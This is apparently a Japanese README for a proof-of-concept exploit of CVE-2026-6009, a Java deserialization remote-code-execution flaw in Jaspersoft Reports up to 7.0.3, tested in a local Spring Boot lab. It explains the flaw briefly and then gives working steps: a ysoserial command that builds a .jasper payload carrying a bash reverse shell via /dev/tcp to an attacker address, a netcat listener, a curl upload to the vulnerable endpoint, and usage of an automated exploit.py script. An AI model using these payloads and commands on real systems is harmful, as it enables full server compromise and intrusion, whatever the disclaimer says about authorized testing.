
CVE-2026-6009 の自動化された PoC エクスプロイト、Jaspersoft Reports <=7.0.3 における Java デシリアライゼーション RCE。ysoserial を介して悪意のある .jasper ペイロードを生成し、ファイルアップロードエンドポイントを通じてリバースシェルを配信します。
⚠️ 免責事項: このリポジトリは教育目的および許可されたセキュリティテストのみを対象としています。自分が所有していない、または明示的な書面による許可を得ていないシステムに対して使用しないでください。
Jaspersoft report ライブラリバージョン <= 7.0.3 は、Java デシリアライゼーションフローを悪用した リモートコード実行(RCE) に対して脆弱です。この脆弱性により、攻撃者はこのバージョンのライブラリを使用しているシステム上でリバースシェルとの接続を確立できます。
データを転送するために、一部のシステムはオブジェクトを特定の転送可能な形式に変換する必要があります。これが シリアライゼーション です。デシリアライゼーション はその逆の操作です。Java では、脆弱なメカニズムは ObjectInputStream.readObject() にあり、これは入力ストリームから任意のオブジェクトをデシリアライズするために使用されます。JRLoader.loadObject() は Jaspersoft ライブラリ内でこのメソッドを使用して .jasper ファイルを読み取るため、悪意のあるコードを仕込むための危険なエントリポイントとなります。
readObject() だけではコードをトリガーするには十分ではありません。既知の悪用可能なクラスでのみ機能します。そのため、攻撃者は CommonCollection などの既知の ガジェットチェーン を使用してペイロードを実行します。
概念実証(PoC)を作成するために、Jaspersoft Report ライブラリを使用した Java Web サーバーを Parrot マシン上にラボとして構築しました。
OS: Parrot OS 7 GNU/Linux フレームワーク: Spring Boot バージョン 2.7.18 依存関係: Jasperreports バージョン 7.0.3 環境: Java 11 コンパイラ: Maven
@PostMapping("/upload-report")
public String uploadReport(@RequestParam("file") MultipartFile file) {
try {
InputStream is = file.getInputStream();
// ObjectInputStream.readObject() が JRLoader によって内部で呼び出される
JasperReport report = (JasperReport) JRLoader.loadObject(is);
...
最初のステップとして、ターゲットシステムが脆弱なバージョンの Jasperreport を使用していることがわかったら、ターゲットが jasper ファイルを受け取る正確な場所を特定する必要があります。
この環境では、http://localhost:8080/upload-report です。
次に、ターゲットシステム内でどのクラスをガジェットチェーンとして使用できるかを発見する方法を見つける必要があります。いくつか試して、どれがシステムをトリガーするか確認することもできます。
ホワイトボックスのコンテキストでは、次のようにしてこの情報を自分で調べることができます。
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"
システムが CommonsCollections を使用していることがわかります。
CommonsCollections の場合、ysoserial スクリプト を使用して目的のペイロードを生成します。ここではリバースシェルを作成します。
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper
ペイロードを実行するために、CommonCollections のいくつかのバージョンをテストする必要があるかもしれません。
リバースシェル接続を行うには、ペイロードによって開始されたターゲットシステムからの接続を受信するためにポートをリッスンする必要があります。
nc -lnvp 4444
最後に、見つけた場所に作成したペイロードを送信し、ポートを確認してターゲットシステムから接続が確立されたことを確認します。
curl -X POST http://localhost:8080/upload-report -F "[email protected]"
エンドポイントにアクセスできる攻撃者は、サーバーの権限で任意のコードを実行でき、システム全体を完全に侵害する可能性があります。
exploit.py は、CVE-2026-6009 の脆弱性を悪用するための自動化スクリプトです。
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444
| フラグ | 説明 |
|---|---|
| -t, --target | .jasper ファイルをアップロードする場所 |
| -s, --source | あなたの IP アドレス |
| -p, --port | リバースシェルが接続されるポート |